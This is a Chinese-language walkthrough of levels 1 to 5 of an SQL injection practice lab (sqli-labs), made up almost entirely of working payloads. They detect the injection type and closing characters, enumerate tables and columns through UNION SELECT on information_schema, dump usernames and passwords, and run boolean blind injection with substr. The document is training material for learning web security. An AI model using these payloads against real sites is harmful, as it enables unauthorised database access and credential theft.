less-1
输入?id=1 ,?id=1 and 1=1 ,?id=1 and 1=2 都显示正常 说明不是数字型注入
输入?id=1' 报错 输入 ?id=1' and '1'='1 显示正常，输入?id=1' and '1'='2 显示错误
说明存在字符型漏洞
输入?id=1' order by 1 --+ //判断字段
经过测试有三个字段
输入?id=-1' union select 1,2,3 --+ 判断回显位置
输入?id=-1' union select 1,2,database() --+ 获取当前数据库名
输入 ?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' --+ 获取表名
输入?id=-1' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+ 获取字段名
?
输入?id=-1' union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+
逐条获取数据
less-2
输入?id=1 正常显示
输入?id=1 and 1=1 正常显示
?
?
输入?id=1 and1=2 不显示
证明存在数字型注入
输入?id=1 order by 1 判断字段数? 经验证为三个字段
输入?id=-1 union select 1,2,3 判断回显位置
输入 ?id=-1 union select 1,2,database()? 获取当前数据库名
输入?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security' 获取表名
?
? ?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users' //获取字段名
?
?
?id=-1 union select 1,2,concat_ws(',',id,username,password) from security.users limit 0,1--+
?逐条获取数据
?less-3
输入?id=1 ,?id=1 and 1=1 ,?id=1 and 1=2 都显示正常 说明不是数字型注入
输入?id=1' , ?id=1' --+ 都报错，说明闭合符号不对
经过尝试发现闭合符号为')
?输入?id=1') order by 1--+ 判断字段数，结果为三
?id=-1') union select 1,2,3--+ 判断回显位置
?id=-1') union select 1,2,database()--+ 获取当前数据库名
?id=-1') union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+ 获取表名
?
??id=-1') union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+ 获取字段名
?id=-1') union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+
逐条获取全部数据
?less-4
闭合符号为")
?id=1") order by 1 --+判断字段数 结果为3
?id=-1") union select 1,2,3--+ 判断回显位置
?id=-1") union select 1,2,database()--+ 获取数据库名
?id=-1") union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'--+ 获取表名
?
??id=-1") union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'--+
获取字段名
?
??id=-1") union select 1,2,concat_ws(',',id,username,password)from security.users limit 0,1--+
逐条获取数据
?
?
?less-5
?这是一个闭合字符为 ' 的布尔型盲注 只能通过一个字母一个字母的猜测，从而达到想要的值
?id=1' and length(database())=8--+ //猜测数据库名的长度
?id=1' and substr(database(),1,1)='s'--+ // 逐个猜测数据库名的字母，对了返回you are in..
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e'--+ //逐个猜测数据库表的名字
?id=1' and substr((select column_name from information_schema.columns where table_schema='security' and table_name='users'? limit 0,1),1,1)='i'--+
//逐个字母猜测表 的字段名
?id=1' and substr((select concat_ws(',',username,password) from security.users limit 0,1),1,1)='a' --+//逐个字母 猜测数据的值
这需要有足够的耐心
?
?
?
?